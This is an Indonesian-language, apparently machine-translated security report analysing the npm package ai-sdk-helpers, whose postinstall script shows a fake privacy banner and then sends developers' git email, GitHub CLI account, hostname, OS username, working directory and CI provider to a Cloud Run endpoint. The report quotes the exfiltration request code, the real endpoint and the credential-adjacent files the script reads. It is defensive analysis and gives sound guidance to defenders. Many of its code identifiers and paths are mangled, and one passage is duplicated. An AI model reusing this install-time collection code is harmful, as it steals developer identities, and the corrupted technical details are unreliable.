TL; DR
Sebuah paket npm tunggal, pembantu SDK AI, hadir sebagai perangkat bantu produksi untuk Vercel AI SDK, menawarkan pelacakan biaya, cadangan penyedia layanan, dan fitur pendukung streaming.
Skrip instalasinya dimulai dengan spanduk pengungkapan yang rapi yang menjelaskan diagnosis anonim, dengan menjanjikan bahwa tidak ada kode sumber, token, atau kredensial yang ditransmisikan, menghormati sebuah DO_NOT_TRACK opsi untuk menolak, dan tautan ke halaman kebijakan telemetri.
Skrip yang sama kemudian membaca identitas git pengembang, konfigurasi CLI GitHub, nama host mesin, nama pengguna OS, direktori kerja, dan penyedia CI.
Data tersebut dikirim sebagai JSON ke endpoint Google Cloud Run, sehingga menciptakan ketidaksesuaian yang jelas antara kebijakan telemetri yang dinyatakan dan bidang aktual yang dikumpulkan.
Paket tersebut diterbitkan dalam dua puluh dua versi dalam satu kali proses berdurasi 83 detik, dan skrip instalasinya identik byte demi byte di setiap versi yang ditandai.
Tujuh dari delapan versi yang ditinjau oleh kami pipeline Hasil tersebut dinilai tidak meyakinkan oleh pengklasifikasi ML karena gaya spanduk persetujuan tersebut terlihat seperti telemetri yang sah.
Kami mengklasifikasikan ai-sdk-helpers dianggap berbahaya berdasarkan pengumpulan dan pengambilan identitas pengembang pada saat instalasi.
Tingkat keparahan: tinggi.
Anatomi instalasi
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } pascainstal berjalan otomatis pada instalasi npm, sebelum kode yang diiklankan dalam paket tersebut diimpor. Skrip tersebut scripts/postinstall.js Di sinilah semua perilaku saat instalasi berada.
Diawali dengan blok komentar dan pemberitahuan runtime yang ditulis dalam gaya proyek sumber terbuka yang memperhatikan privasi:
Saat Anda menginstal ai-sdk-helpers, kami menjalankan pemeriksaan kompatibilitas lingkungan singkat dan melaporkan diagnostik anonim… Data sepenuhnya anonim — kami mengumpulkan platform Anda, versi Node, dan hash satu arah dari pengidentifikasi mesin Anda. Tidak ada kode sumber, token, atau kredensial yang pernah dikirimkan.
Bahkan terdapat kode yang dapat dieksekusi pertama dalam file tersebut yang menghubungkan gerbang opt-out yang berfungsi:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } Dengan memasang gerbang ini terlebih dahulu, hal inilah yang membuat sisanya tampak seperti persetujuan bersama: seorang pengembang yang menetapkan `D_TIDAK_LACAK Instalasi selesai secara diam-diam dan menyimpulkan bahwa paket tersebut menghormati konvensi. Pilihan untuk menolak yang dihormati itu nyata. Yang dibatasinya, bagi siapa pun yang tidak mengaturnya, adalah koleksi yang dijelaskan di bawah ini — bukan "platform, versi Node, dan hash satu arah" yang lebih sempit seperti yang disebutkan dalam pemberitahuan.
Di bawah gerbang itu, skrip tersebut menyusun muatan yang jauh melampaui deskripsi tersebut.
- *Gidentitas t.* rmemecahkanScmIdentitas()` kepala `~`.gitconfig`,`~`.config/git/config`,dan proyek saat ini `.it/config`,menguraikan `[ser]` bagian, dan mengembalikan yang telah dikonfigurasi commit email. Jika tidak ada file konfigurasi yang menghasilkan email, maka akan kembali ke `G`.`T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,dan `EAIL` Variabel lingkungan. Sebuah docstring di atas fungsi tersebut menggambarkan pembacaan sebagai cara "untuk menghilangkan duplikasi instalasi di berbagai mesin yang dimiliki oleh orang yang sama (misalnya laptop + CI)" — tujuan yang dinyatakan yang membutuhkan pengidentifikasi per-pengembang yang stabil, yang commit perlengkapan email.
- *GAkun tHub.* rsolveGitHubIdentity()` kepala `~.config/gh/hosts.yml` dan `~.config/gh/hosts.yaml` file konfigurasi yang ditulis oleh GitHub CLI saat pengembang melakukan autentikasi — dan mengekstrak `u` menggunakan regex.er:` dan `esakit:` File tersebut juga menyimpan token GitHub OAuth; regex skrip secara khusus menargetkan baris nama pengguna dan email dan tidak mengekstrak token. Oleh karena itu, klaim pada banner pengungkapan "tidak ada token… yang pernah dikirimkan" benar secara harfiah untuk bidang tersebut sementara pengidentifikasi akun di sekitarnya dibaca dan dikirim.
- *HSidik jari st dan CI.* naskah tersebut kemudian mengumpulkan `o`.hostname()`,`o.userInfo().username`,versi Node, platform dan arsitektur, `pproses.cwd()`,dan label penyedia CI diselesaikan dengan memeriksa variabel lingkungan untuk delapan penyedia (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, dan dua flag CI generik). Daftar penyedia tersebut merupakan inventaris tempat skrip diharapkan untuk dieksekusi — shell interaktif dan build otomatis. pipelinesama.
Semua ini dikelompokkan menjadi satu huruf `dagnostik objek, dengan bidang per pengembang dikumpulkan di bawah `ientitas` ey dan data host di bawah `rntime` dan `cteks mata, kemudian diserialkan dan ditransmisikan:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Respons tersebut diabaikan dan semua kesalahan diabaikan — sebuah komentar mencatat bahwa “telemetri tidak boleh pernah merusak instalasi.” Nama host endpoint mengkodekan layanan Google Cloud Run di dalam `etali-barat1` wilayah.
Kesenjangan itulah inti ceritanya. Banner tersebut menyebutkan tiga kategori data — platform, versi Node, dan hash pengidentifikasi mesin. Payload mengirimkan git asli milik pengembang. commit email, nama pengguna dan email GitHub mereka, nama host mesin dan nama akun OS mereka, jalur proyek mereka, dan lingkungan CI mereka. Bidang-bidang yang mengidentifikasi *prson dan akun mereka* Sebutkan secara pasti bidang-bidang yang dihilangkan dalam pengungkapan tersebut.
README memperkuat kerangka berpikir dari pihak lain. Bagian "Telemetri" di dalamnya mengulangi klaim anonimitas dan menghubungkan kata `D`._TIDAK_LACAK o `cnsoledonottrack.com`,halaman komunitas sebenarnya yang mendokumentasikan konvensi opt-out — meminjam kebijakan privasi yang diakui standard agar pengumuman tersebut terlihat seperti hal yang biasa.
Perusahaan
Ini adalah temuan paket tunggal dengan sejarah publikasi yang sangat singkat dan padat. Tidak ada alur kampanye multi-minggu yang dapat ditelusuri — seluruh rentang versi didorong dengan kecepatan mesin.
| Kapan (UTC) | Acara |
|---|---|
| 2026-06-03 20:31:20 | Versi pertama (0.1.0) diterbitkan ke npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Semua 22 versi (0.1.0 melalui 1.4.2) diterbitkan dalam semburan otomatis selama 83 detik. |
| 2026-06-04 | Delapan versi ditandai oleh sinyal deteksi; analisis manual mengkonfirmasi pengumpulan identitas dan eksfiltrasi pada saat instalasi. Paket tersebut tetap aktif di npm pada saat analisis dilakukan. |
Jendela 83 detik di 22 versi semantik itu sendiri merupakan indikator perilaku: tangga versi (`01.0`,`01.1`,… `14.2`)Menyajikan tampilan permukaan proyek yang aktif dipelihara dengan riwayat rilis, yang dihasilkan dalam satu kali eksekusi skrip. Skrip instalasi tidak berubah di seluruh tahapan tersebut — lihat di bawah.
Indikator kompromi
Muatan saat instalasi identik di seluruh rentang versi yang diterbitkan. A `dff` f `sripts/postinstall.js` antara versi `02.1` versi `14.2` tidak mengembalikan perbedaan; perilakunya adalah satu sidik jari tetap, bukan muatan yang berevolusi.
jaringan
Jendela 83 detik di 22 versi semantik itu sendiri merupakan indikator perilaku: tangga versi (`01.0`,`01.1`,… `14.2`)Menyajikan tampilan permukaan proyek yang aktif dipelihara dengan riwayat rilis, yang dihasilkan dalam satu kali eksekusi skrip. Skrip instalasi tidak berubah di seluruh tahapan tersebut — lihat di bawah.
Indikator kompromi
Muatan saat instalasi identik di seluruh rentang versi yang diterbitkan. A `dff` f `sripts/postinstall.js` antara versi `02.1` versi `14.2` tidak mengembalikan perbedaan; perilakunya adalah satu sidik jari tetap, bukan muatan yang berevolusi.
jaringan
| Indikator | Peran |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Endpoint eksfiltrasi yang menerima permintaan HTTPS POST dengan payload JSON. Dihosting di Google Cloud. Berjalan di... europe-west1 wilayah. |
Infrastruktur umpan
| Indikator | Peran |
|---|---|
ai-sdk.guide | Halaman beranda paket dan situs aktif yang mendukung identitas penulis "Panduan AI SDK". |
ai-sdk.guide/telemetry | URL kebijakan telemetri yang dirujuk dalam pemberitahuan pengungkapan saat instalasi. |
hello@ai-sdk.guide | Alamat email penulis tercantum di package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Repositori sumber yang dideklarasikan oleh paket tersebut. |
File yang dibaca saat instalasi
- -`.gitconfig`,`~`.config/git/config`,`<wd>/.git/config` git `[ser]` surat
- - `.config/gh/hosts.yml`,`~.config/gh/hosts.yaml` CLI GitHub `uer` `esakit
Tanda-tanda perilaku
- – m `pinstal` lihat menjalankan skrip Node yang dibundel
- – gerbang opt-out (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_TIDAK_LACAK`)Disajikan sebagai fitur privasi, diutamakan daripada pengumpulan identitas.
- – tbound HTTPS POST berupa objek JSON yang berisi email git, identitas GitHub, nama host, nama pengguna OS, direktori kerja saat ini (cwd), dan label CI.
- – skrip instalasi yang identik di seluruh tangga versi yang diterbitkan dengan cepat
Atribusi & Perilaku yang Diamati
Kami tidak memberikan keterangan apa pun selain yang tercatat dalam metadata paket dan registri.
Pengelola resmi npm adalah akun `a`.ielsimon`,dengan alamat `aiel@vigilance.security`.Registri tersebut mencantumkan email tersebut sebagai belum terverifikasi dan identitas kontrol sumber akun tersebut sebagai belum terverifikasi. `p`ckage.json`,Secara terpisah, penulisnya dikenal sebagai “Panduan SDK AI”.ello@ai-sdk.guide>`”dengan halaman beranda berupa `a-sdk.guide` dan repositori sumber di bawah `gOrganisasi `thub.com/ai-sdk-guide`. Domain email akun penerbitan (`vigilance.security`)dan identitas penulis dalam paket (`a-sdk.guide`)merupakan domain yang berbeda.
Huruf `a-sdk.guide` ite aktif dan merespons, dan `/elemen Ath menyimpulkan bahwa identitas umpan didukung oleh keberadaan web yang dapat diakses, bukan tautan yang mati, yang meningkatkan kredibilitas kerangka kerja paket tersebut.
**Kemampuan yang diamati.** Pada saat instalasi, paket membaca identitas pengembang dan file konfigurasi akun, mengidentifikasi host dan lingkungan CI, dan mengirimkan hasilnya ke titik akhir yang dikendalikan operator, sambil menampilkan pemberitahuan yang menjelaskan kumpulan data yang lebih sempit dan anonim. Kami menjelaskan perilaku ini; kami tidak menyatakan motif di baliknya. Pembaca yang mengevaluasi paket — termasuk pihak mana pun yang mengenali identitas penerbit — harus mempertimbangkan ketidaksesuaian yang terlihat antara alur data yang dinyatakan dan yang sebenarnya.
Dampak, tren, dan panduan bagi para pembela
Siapa yang terpapar? Siapa pun yang memasang pembantu SDK AI — secara langsung atau sebagai ketergantungan transisi — menjalankan koleksi pada mesin tersebut. Karena pemicunya adalah pascainstalKode pustaka yang diiklankan tidak perlu diimpor agar aliran data terjadi; instalasi saja sudah cukup. Lingkungan yang paling berharga adalah workstation pengembang dengan identitas git yang dikonfigurasi dan CLI GitHub yang terautentikasi, serta runner CI, di mana deteksi penyedia CI skrip menunjukkan bahwa koleksi tersebut diharapkan berjalan di dalam build. pipelineserta di laptop.
Apa yang diungkapkannya. Bukan rahasia aplikasi secara umum — muatan datanya berpusat pada... identitas: pengembang commit email, nama dan email akun GitHub mereka, nama mesin dan akun, serta jalur proyek. Itu adalah informasi awal.cisPeta yang menunjukkan siapa yang menginstal paket tersebut, di mesin mana, di repositori mana, dan di bawah sistem CI mana. Bagi sebuah organisasi, beberapa catatan seperti itu jika digabungkan akan mengidentifikasi insinyur mana dan sistem build mana yang menarik dependensi tersebut — berguna sebagai pendahulu untuk aktivitas lanjutan yang lebih terarah, meskipun perilaku paket ini sendiri hanya berhenti pada pengumpulan dan transmisi.
Trennya: telemetri sebagai kedok. Alat pengembang yang sah memang mengumpulkan diagnostik instalasi yang dianonimkan, dan konvensi untuk melakukannya dengan hormat — pemberitahuan pengungkapan, sebuah JANGAN LACAK kehormatan, bendera penolakan, URL kebijakan — sudah dikenal luas. pembantu SDK AI mereproduksi keempat konvensi tersebut dengan setia dan menggunakannya sebagai pembungkus untuk pengumpulan identitas. Keberadaan banner persetujuan, mekanisme opt-out yang berfungsi, atau tautan kebijakan privasi bukanlah bukti bahwa sebuah paket dapat dipercaya; kontrol tersebut mudah dan murah untuk ditiru. Satu-satunya pengecekan yang dapat diandalkan adalah apa yang sebenarnya dibaca oleh kode tersebut dan ke mana kode tersebut sebenarnya mengirimkannya.
Kemasan ini juga memiliki pengaruh yang terukur pada triase otomatis. Di seluruh versi kami pipeline Setelah ditinjau, komentar skrip instalasi yang menggunakan bahasa sederhana, nama bidang yang terstruktur, dan gerbang penolakan konvensional dinilai sebagai telemetri biasa: tujuh dari delapan parameter tersebut kembali normal. meyakinkan dari pengklasifikasi ML, bukan karena niat jahat. Sinyal yang menyelesaikan ambiguitas bukanlah pada teksnya — melainkan pada file spesifik yang dibuka oleh skrip tersebut (~ / .gitconfig, ~/.config/gh/hosts.yml) dan tujuan pengirimannya. Peninjau, baik otomatis maupun manusia, yang membaca pengungkapan dan berhenti di situ akan sampai pada kesimpulan yang salah; penentuan harus berasal dari fakta-fakta aliran data.
Panduan untuk para pembela:
- Instal dengan skrip dinonaktifkan secara default — npm install –ignore-scripts, atau atur abaikan skrip=benar in .npmrc dan jalankan langkah-langkah pembangunan yang telah diverifikasi secara eksplisit. Ini menetralkan pascainstal-Pengumpulan data yang dipicu secara menyeluruh.
- Jangan perlakukan kontrol opt-out sebagai sinyal kepercayaan. A JANGAN LACAK Pemeriksaan atau tautan "kebijakan telemetri" tidak memberi tahu Anda apa pun tentang data yang dikumpulkan oleh skrip saat gerbang tidak diatur.
- Baca petunjuk instalasi sebelum menggunakan paket pembantu ekosistem AI. Ruang Vercel AI SDK adalah target yang berkembang pesat dan sangat terpercaya; pascainstal yang menyentuh ~ / .gitconfig or ~/.config/gh/ merupakan sinyal yang jelas terlepas dari bagaimana komentar-komentar di sekitarnya ditulis.
- Pantau arus keluar selama proses build. Sebuah permintaan HTTPS POST keluar selama instalasi npm, khususnya pada endpoint cloud-function yang baru saja diaktifkan, dapat diamati pada lapisan jaringan dan merupakan titik deteksi yang kuat untuk lingkungan CI.
- Waspadai tangga versi terkompresi. Sebuah paket yang seluruh riwayat versi semantiknya muncul dalam hitungan detik, dengan skrip instalasi yang tidak berubah, menunjukkan riwayat pemeliharaan yang direkayasa.





